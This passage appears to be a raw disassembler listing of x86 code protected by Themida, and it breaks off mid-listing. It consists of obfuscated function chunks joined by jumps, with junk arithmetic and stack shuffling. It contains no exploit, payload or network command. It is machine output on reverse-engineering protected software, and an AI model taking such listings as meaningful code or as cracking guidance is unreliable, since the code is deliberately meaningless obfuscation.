loc_56CB8C: ; CODE XREF: sub_5747D7-1025Aj
xor eax, 55792BD5h
sub eax, 95799FD5h
mov ebx, eax
push [esp+4+var_4]
pop eax
add esp, 4
and eax, ebx
push dword ptr [esp+0]
pop ebx
sub esp, 4
mov [esp+4+var_4], eax
mov eax, esp
push edi
mov edi, 125423FAh
and edi, 4015563Ah
add edi, 0FFEBFDCAh
add eax, edi
jmp loc_571A78
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56CBC6: ; CODE XREF: sub_574CBE-9DD1j
push dword ptr [esp+0]
pop edx
add esp, 4
jmp loc_564842
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56CBD5: ; CODE XREF: sub_56657A+45Cj
add eax, 0A9C7F9A0h
jmp loc_569BB3
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56CBDF: ; CODE XREF: sub_572141+Cj
mov ebp, esp
push 2FE4h
mov [esp+8+var_8], edx
jmp loc_56CFF0
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 1B03h
jmp loc_569B4D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56CBFB: ; CODE XREF: sub_57354D-CBCCj
xor edx, eax
push eax
jmp loc_571862
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5609A1
loc_56CC03: ; CODE XREF: sub_5609A1+10945j
mov ebx, [esp+4+var_4]
add esp, 4
push dword ptr [esp+0]
mov edx, [esp+4+var_4]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+8+var_8]
pop esp
add esp, 4
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5609A1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56CC2D: ; CODE XREF: sub_5713A7-1E84j
mov ebx, 0
add ebx, edx
mov eax, [ebx]
mov ebx, [esp+8+var_8]
push edi
jmp loc_569762
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569A75
loc_56CC3F: ; CODE XREF: sub_569A75+2B0Fj
sub al, bl
jmp loc_571CE3
; END OF FUNCTION CHUNK FOR sub_569A75
; =============== S U B R O U T I N E =======================================
sub_56CC46 proc near ; DATA XREF: Themida_:0055FEA8o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 005602AF SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056045D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00560A84 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0056123F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005616EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00561767 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056390D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00563BE1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005650C9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00565620 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00565BFA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00566B48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567072 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056B5A1 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B758 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BEBF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CB38 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056CEFD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056D11C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D7D0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056E082 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056FB0C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00570530 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 005705ED SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00571319 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005719EC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00572EA6 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00573F89 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00574336 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005743D3 SIZE 00000018 BYTES
push dword ptr [esp+0]
push [esp+4+var_4]
jmp loc_56390D
sub_56CC46 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56CC51: ; CODE XREF: sub_570E81-1ECCj
push esi
mov esi, 0C92BD9Dh
add edx, 6C67634Eh
sub edx, esi
sub edx, 6C67634Eh
pop esi
sub ebp, 3536057Dh
sub ebp, edx
jmp loc_571DC8
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5673C3
loc_56CC73: ; CODE XREF: sub_5673C3+ED0j
mov eax, 2FD82560h
xor eax, 7B9A1340h
jmp loc_5712EB
; END OF FUNCTION CHUNK FOR sub_5673C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566DFE
loc_56CC82: ; CODE XREF: sub_566DFE+3j
mov [esp+0], edi
not dword ptr [esp+0]
jmp loc_57340C
; END OF FUNCTION CHUNK FOR sub_566DFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563FA2
loc_56CC8D: ; CODE XREF: sub_563FA2-1247j
add esi, ebx
add esi, 0F2D307Eh
pop ebx
push eax
mov eax, 4
sub esi, eax
jmp loc_56AD0A
; END OF FUNCTION CHUNK FOR sub_563FA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570E81
loc_56CCA3: ; CODE XREF: sub_570E81-8175j
sub ebp, ecx
sub ebp, 9290864h
pop ecx
sub ebp, 378A6984h
jmp loc_56D8AC
; END OF FUNCTION CHUNK FOR sub_570E81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_56CCB7: ; CODE XREF: sub_5606E3+18BCj
or [edi+1Ch], eax
pop eax
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DBB0
loc_56CCC0: ; CODE XREF: sub_56DBB0+22AAj
mov eax, 79D4B43h
mov edi, eax
pop eax
xor edi, 293C09B1h
add ebx, 1F90346Ch
add ebx, edi
jmp loc_56C7B1
; END OF FUNCTION CHUNK FOR sub_56DBB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56CCDB: ; CODE XREF: sub_564D26+23C3j
push ecx
mov ecx, 13A07F37h
or ebp, ecx
pop ecx
neg ebp
not ebp
inc ebp
add ebp, 0E45B808Dh
jmp loc_56695F
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56EE9F
loc_56CCF4: ; CODE XREF: sub_56EE9F+Fj
push 3BED6768h
pop ebx
and ebx, 41E20CEh
jmp loc_56DBC3
; END OF FUNCTION CHUNK FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566117
loc_56CD05: ; CODE XREF: sub_566117-4C58j
mov ecx, [esp+0]
sub esp, 4
jmp loc_56DD34
; END OF FUNCTION CHUNK FOR sub_566117
; =============== S U B R O U T I N E =======================================
sub_56CD13 proc near ; DATA XREF: Themida_:0055FE64o
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0056039D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005611CE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00562DFA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056629C SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0056765E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056A00F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B40A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056BF1A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056DA27 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056F734 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0057018D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00570670 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005741DB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057482B SIZE 0000000E BYTES
push [esp+arg_0]
push [esp+4+var_4]
mov eax, [esp+8+var_8]
jmp loc_56B40A
sub_56CD13 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_56CD22: ; CODE XREF: sub_567CF5-1CBBj
pop esp
push 1248h
mov [esp+4+var_4], ecx
push ebx
mov ebx, 18B7332Fh
mov ecx, ebx
pop ebx
jmp loc_56713A
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_56CD39: ; CODE XREF: sub_56BC97+5A7Aj
sub edx, 3C5F5619h
add edx, esi
add edx, 3C5F5619h
pop esi
sub esp, 4
mov [esp+4+var_4], edx
push dword ptr [esp+4]
pop edx
pop [esp+4+var_4]
jmp loc_56A3A9
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56A7FB
loc_56CD5B: ; CODE XREF: sub_56A7FB-3302j
neg ch
push cx
neg byte ptr [esp+1]
jmp loc_572A52
; END OF FUNCTION CHUNK FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562676
loc_56CD68: ; CODE XREF: sub_562676+99F4j
sub eax, 15A157C0h
dec eax
xor eax, 116564BCh
sub esi, eax
jmp loc_5632C8
; END OF FUNCTION CHUNK FOR sub_562676
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571289
loc_56CD7A: ; CODE XREF: sub_571289-7B6Aj
shl eax, 5
jmp loc_568D69
; END OF FUNCTION CHUNK FOR sub_571289
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569DB5
loc_56CD82: ; CODE XREF: sub_569DB5-2C9Ej
pop esp
jmp loc_570848
; END OF FUNCTION CHUNK FOR sub_569DB5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA44
loc_56CD88: ; CODE XREF: sub_56FA44-A8BCj
pop edi
add ecx, ebp
mov ebp, [esp+4+var_4]
add esp, 4
push 7355h
mov [esp+4+var_4], esi
mov esi, 2
sub ecx, 616B1413h
jmp loc_56957C
; END OF FUNCTION CHUNK FOR sub_56FA44
; ---------------------------------------------------------------------------
loc_56CDAC: ; CODE XREF: Themida_:00569403j
mov ebx, eax
pop eax
add edx, ebx
push dword ptr [esp]
pop ebx
sub esp, 4
jmp loc_56BD25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_56CDBD: ; CODE XREF: sub_56FB8A-D26j
xor edx, 14D22360h
add edx, 1
jmp sub_56C38F
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
loc_56CDCB: ; CODE XREF: Themida_:00565F7Dj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
add ebx, ebp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push esp
pop ebx
add ebx, 4
sub ebx, 4
jmp loc_573B6C
; ---------------------------------------------------------------------------
loc_56CDFE: ; CODE XREF: Themida_:00564A63j
mov [esp], edi
mov edi, 4
add ebx, edi
mov edi, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
div ecx
sub esp, 4
mov [esp], ecx
jmp loc_567C45
; ---------------------------------------------------------------------------
loc_56CE1F: ; CODE XREF: Themida_:00573B6Fj
xor [esp], ebx
xor ebx, [esp]
jmp loc_564A62
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F3B2
loc_56CE2A: ; CODE XREF: sub_56F3B2-5F93j
push [esp+4+var_4]
pop edi
jmp loc_560A35
; END OF FUNCTION CHUNK FOR sub_56F3B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_56CE33: ; CODE XREF: sub_5678CB-B9Cj
mov ebx, esp
jmp loc_5677AC
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D855
loc_56CE3A: ; CODE XREF: sub_56D855-C2B6j
pop ebx
add eax, 2
xchg eax, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
shl [esp-4+arg_0], cl
pushf
jmp loc_56E928
; END OF FUNCTION CHUNK FOR sub_56D855
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_56CE4E: ; CODE XREF: sub_5638E4+3j
mov [esp+4+var_4], esi
jmp loc_564679
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
loc_56CE56: ; CODE XREF: Themida_:00563E14j
pop eax
jmp loc_56D3DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AEF2
loc_56CE5C: ; CODE XREF: sub_56AEF2-23F1j
sub bl, ah
pop eax
jmp loc_572970
; END OF FUNCTION CHUNK FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_56CE64: ; CODE XREF: sub_561027+49B6j
mov esi, [esp+14h+var_14]
add esp, 4
; END OF FUNCTION CHUNK FOR sub_561027
; START OF FUNCTION CHUNK FOR sub_561541
loc_56CE6D: ; CODE XREF: sub_561541+12200j
push 24C0h
mov [esp+4+var_4], esi
mov esi, esp
push eax
mov eax, 34753A40h
jmp loc_56C133
; END OF FUNCTION CHUNK FOR sub_561541
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5754DA
loc_56CE82: ; CODE XREF: sub_5754DA-62DDj
sub al, ch
pop ecx
push [esp-4+arg_0]
mov ebx, [esp+0]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0]
pop esp
sub esp, 4
mov [esp+0], ecx
push edx
jmp sub_574949
; END OF FUNCTION CHUNK FOR sub_5754DA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56CEAD: ; CODE XREF: sub_563A7F-2085j
mov al, 2
add bl, al
pop ax
push small 7461h
mov word ptr [esp+0Eh+var_10+2], ax
mov ah, 92h
sub ah, 0F5h
sub bl, ah
pop ax
pop eax
push ecx
jmp loc_56B819
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
loc_56CECB: ; CODE XREF: Themida_:00563192j
sub esi, edx
jmp loc_56F37F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574CBE
loc_56CED2: ; CODE XREF: sub_574CBE-10461j
push esi
mov esi, 5C452B64h
sub esi, 4B3D090Ch
or esi, 7A684BD8h
xor esi, 4F394155h
xor ecx, esi
pop esi
sub ecx, 684411EBh
sub esi, ecx
mov ecx, [esp+14h+var_14]
jmp loc_569AA3
; END OF FUNCTION CHUNK FOR sub_574CBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56CEFD: ; CODE XREF: sub_56CC46-7B69j
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
push ebx
mov ebx, 3DE1D3Ah
sub ebx, 3DE1D36h
add esi, ebx
jmp loc_571319
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56CF1B: ; CODE XREF: sub_5605BC+E49Ej
neg ecx
shr ecx, 5
shr ecx, 3
xor ecx, 25943F3Ah
push edi
mov edi, 366B6EA2h
add edi, 0EF0975F0h
sub ecx, edi
jmp loc_5605EC
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560844
loc_56CF3C: ; CODE XREF: sub_560844+11077j
mov ebx, 1A4446C0h
jmp loc_568334
; END OF FUNCTION CHUNK FOR sub_560844
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB5E
loc_56CF46: ; CODE XREF: sub_56AB5E-9F7Fj
push dword ptr [edi+eax*4]
push 5ECFh
mov [esp+8+var_8], ebx
push 12C1h
mov [esp+0Ch+var_C], ebp
push 607C1783h
jmp loc_56EB86
; END OF FUNCTION CHUNK FOR sub_56AB5E
; ---------------------------------------------------------------------------
loc_56CF63: ; CODE XREF: Themida_:00570A57j
pop eax
push edi
mov edi, 606F4D4Ch
shr edi, 6
jmp loc_561C37
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_56CF72: ; CODE XREF: sub_565A8D+2F9j
pop edx
sub ebx, eax
mov eax, [esp+4+var_4]
jmp loc_572199
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56657A
loc_56CF7D: ; CODE XREF: sub_56657A-1D82j
add edx, 741940EDh
push ebp
mov ebp, 0D516C7Ch
neg ebp
jmp loc_57484D
; END OF FUNCTION CHUNK FOR sub_56657A
; ---------------------------------------------------------------------------
loc_56CF90: ; CODE XREF: Themida_:0056F23Fj
xchg edx, [esp]
mov esp, [esp]
jmp loc_56327D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56CF9B: ; CODE XREF: sub_574656-FC59j
mov esi, 0
sub esi, ebp
jmp loc_566046
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_56CFA7: ; CODE XREF: sub_563A7F+539Fj
mov bh, 0E7h
jmp loc_5641CC
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F782
loc_56CFAE: ; CODE XREF: sub_56F782-AB43j
add esi, ebp
mov ebp, [esp+0Ch+var_C]
add esp, 4
add esi, 4
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
push ebp
push esp
pop ebp
push ecx
push ebp
push 1884647h
pop ebp
inc ebp
add ebp, 0FE77B9BCh
push ebp
jmp loc_5697DC
; END OF FUNCTION CHUNK FOR sub_56F782
; ---------------------------------------------------------------------------
loc_56CFDA: ; CODE XREF: Themida_:005696C1j
pop dword ptr [esp]
pop esp
mov [esp], dx
push ax
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_56CFEA: ; CODE XREF: sub_5690E8+25j
push edx
jmp loc_574E57
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572141
loc_56CFF0: ; CODE XREF: sub_572141-5558j
push 3460h
mov [esp+0Ch+var_C], ebx
mov ebx, 30757BB7h
mov edx, 0CF8A844Dh
add edx, ebx
jmp loc_570B7E
; END OF FUNCTION CHUNK FOR sub_572141
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5738F4
loc_56D009: ; CODE XREF: sub_5738F4-33DFj
xchg eax, edi
not eax
xchg eax, edi
jmp loc_566D73
; END OF FUNCTION CHUNK FOR sub_5738F4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5605BC
loc_56D012: ; CODE XREF: sub_5605BC+AB13j
push 36E9h
mov [esp+0], ebx
mov ebx, 2B7937ECh
push 0
sub [esp+0], ebx
pop ebx
neg ebx
sub ebx, 2B7937E8h
sub ecx, 0A8F50B6h
add ecx, 2B1D0051h
add ecx, ebx
jmp loc_56E66A
; END OF FUNCTION CHUNK FOR sub_5605BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566F55
loc_56D043: ; CODE XREF: sub_566F55+64BAj
push dword ptr [esp+4]
pop edi
pop [esp+4+var_4]
mov esp, [esp+0]
pop edi
push edx
mov edx, 31614B74h
push esi
mov esi, 78722535h
jmp sub_56F1F0
; END OF FUNCTION CHUNK FOR sub_566F55
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56D060: ; CODE XREF: sub_574656-CE2Dj
sub ebx, 6BE70014h
jmp loc_567DA0
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD6F
loc_56D06B: ; CODE XREF: sub_56FD6F+10j
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_561560
; END OF FUNCTION CHUNK FOR sub_56FD6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5648C6
loc_56D07A: ; CODE XREF: sub_5648C6+43C3j
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
jmp loc_56151E
; END OF FUNCTION CHUNK FOR sub_5648C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_56D091: ; CODE XREF: sub_57523A-12D61j
not eax
jmp loc_5708C7
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_56D098: ; CODE XREF: sub_564D26+B24Ej
sub ebp, edx
pop edx
sub ebp, 38054438h
add ebp, ecx
push ecx
mov ecx, 38054438h
add ebp, ecx
mov ecx, [esp+10h+var_10]
add esp, 4
push edi
jmp loc_574B15
; END OF FUNCTION CHUNK FOR sub_564D26
; =============== S U B R O U T I N E =======================================
sub_56D0B7 proc near ; CODE XREF: sub_5726BB+208Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00561D3E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00571759 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005747CC SIZE 0000000B BYTES
push ebp
mov ebp, 68442FB9h
sub edi, ebp
pop ebp
sub edi, 0A069B56Bh
sub ebp, edi
pop edi
add ebp, 11B861B2h
add ebp, eax
sub ebp, 11B861B2h
add ebp, 391D6CECh
mov eax, [esp-8+arg_4]
add esp, 4
xor ebp, [esp+0]
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
div cl
movzx cx, ah
push edi
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
pop ebx
sub edi, 4
xchg edi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], ebp
push esp
mov ebp, [esp-4+arg_0]
add esp, 4
jmp loc_5747CC
sub_56D0B7 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_56D11C: ; CODE XREF: sub_56CC46-5BABj
xor esi, ebp
jmp loc_56D7D0
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
loc_56D123: ; CODE XREF: Themida_:0056C0E8j
xchg edx, [esp]
mov esp, [esp]
push ecx
mov ecx, 11C90422h
add [esp+4], ecx
jmp loc_56836D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574503
loc_56D138: ; CODE XREF: sub_574503-CBEEj
pop edi
jmp loc_560B93
; END OF FUNCTION CHUNK FOR sub_574503
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569B75
loc_56D13E: ; CODE XREF: sub_569B75+1j
mov ebp, 1F9D43E1h
sub ebp, 3F154AF5h
jmp loc_569EA6
; END OF FUNCTION CHUNK FOR sub_569B75
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574A21
loc_56D14E: ; CODE XREF: sub_574A21-11A32j
not edx
jmp loc_5684CA
; END OF FUNCTION CHUNK FOR sub_574A21
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566400
loc_56D155: ; CODE XREF: sub_566400+3D6Bj
xor edi, 0CC51B54h
neg edi
jmp loc_5610FE
; END OF FUNCTION CHUNK FOR sub_566400
; ---------------------------------------------------------------------------
loc_56D162: ; CODE XREF: Themida_:00573A11j
mov [esp], edx
push ebp
mov ebp, 536E38ADh
jmp loc_56A398
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_56D170: ; CODE XREF: sub_56FA15-7058j
pop eax
add al, 0BFh
sub al, bl
sub al, 0BFh
push [esp+8+var_8]
pop ebx
push 750Eh
mov [esp+0Ch+var_C], ebp
push esp
pop ebp
push edi
mov edi, 4
add ebp, edi
pop edi
push esi
mov esi, 4
add ebp, esi
mov esi, [esp+10h+var_10]
push ecx
sub esp, 4
mov [esp+18h+var_18], esp
add [esp+18h+var_18], 4
pop ecx
add ecx, 4
jmp loc_56E826
; END OF FUNCTION CHUNK FOR sub_56FA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574FC9
loc_56D1B6: ; CODE XREF: sub_574FC9-7431j
mov eax, esp
jmp loc_56D68D
; END OF FUNCTION CHUNK FOR sub_574FC9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574656
loc_56D1BD: ; CODE XREF: sub_574656-5914j
xor edx, edx
push esi
push 31A5h
mov [esp+8+var_8], edx
mov edx, ebx
push ebx
mov ebx, edx
mov esi, ebx
pop ebx
jmp loc_56689A
; END OF FUNCTION CHUNK FOR sub_574656
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5733CA
loc_56D1D5: ; CODE XREF: sub_5733CA-946Bj
pop ebp
or esi, ecx
jmp loc_566FC6
; END OF FUNCTION CHUNK FOR sub_5733CA
; =============== S U B R O U T I N E =======================================
sub_56D1DD proc near ; CODE XREF: sub_56FD97-FC46j
; FUNCTION CHUNK AT 00564794 SIZE 00000011 BYTES
push ebx
mov ebx, 4C083BC8h
inc ebx
and ebx, 44825D0Ah
xor ebx, 2B223E06h
shr ebx, 8
neg ebx
add ebx, 0B231A6D2h
add edi, ebx
jmp loc_564794
sub_56D1DD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56D202: ; CODE XREF: sub_56616D+4E1j
add eax, 713620Ch
add eax, edi
sub eax, 713620Ch
jmp sub_567B29
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
loc_56D213: ; CODE XREF: Themida_:0056C8E4j
xor eax, [esp]
pop esp
add esp, 4
add eax, 4
xchg eax, [esp]
pop esp
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], edi
push esp
pop edi
push ecx
mov ecx, 22C41820h
push eax
push 27Eh
jmp loc_56B15F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5713A7
loc_56D244: ; CODE XREF: sub_5713A7-A68Aj
sub edx, 46830E46h
push ebx
push 1BD1h
mov [esp+10h+var_10], eax
push 3A6D2BCAh
mov eax, [esp+14h+var_14]
add esp, 4
shr eax, 7
xor eax, 7F624FD2h
jmp loc_564D6B
; END OF FUNCTION CHUNK FOR sub_5713A7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572075
loc_56D26E: ; CODE XREF: sub_572075+60j
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
movzx ecx, ax
sub esp, 4
mov [esp+0], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp+4+var_4], eax
push ebp
mov ebp, 466C5283h
push ebp
push 68EB744Ch
pop ebp
add ebp, 0DD80DE3Bh
mov eax, ebp
jmp loc_56FB7B
; END OF FUNCTION CHUNK FOR sub_572075
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574D8F
loc_56D2AB: ; CODE XREF: sub_574D8F-17F4j
sub ebx, eax
pop eax
pop edi
sub ebx, ebp
add ebx, 4F6411B7h
push [esp+4+var_4]
jmp loc_56BCCC
; END OF FUNCTION CHUNK FOR sub_574D8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_56D2BF: ; CODE XREF: sub_56616D+3C2Bj
or ecx, 72960BEEh
shr ecx, 8
push 0
jmp loc_56EADA
; END OF FUNCTION CHUNK FOR sub_56616D
; =============== S U B R O U T I N E =======================================
sub_56D2D2 proc near ; CODE XREF: sub_572E16-93E4j
var_4 = dword ptr -4
push ebx
sub [esp+4+var_4], 70EA267Dh
mov eax, [esp+4+var_4]
add esp, 4
jmp sub_56A119
sub_56D2D2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568D93
loc_56D2E5: ; CODE XREF: sub_568D93+6j
sub ebx, ebp
pop ebp
jmp loc_56303E
; END OF FUNCTION CHUNK FOR sub_568D93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_575315
loc_56D2ED: ; CODE XREF: sub_575315-11C2Ej
pop ebx
jmp loc_567899
; END OF FUNCTION CHUNK FOR sub_575315
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5722C8
loc_56D2F3: ; CODE XREF: sub_5722C8-7DC1j
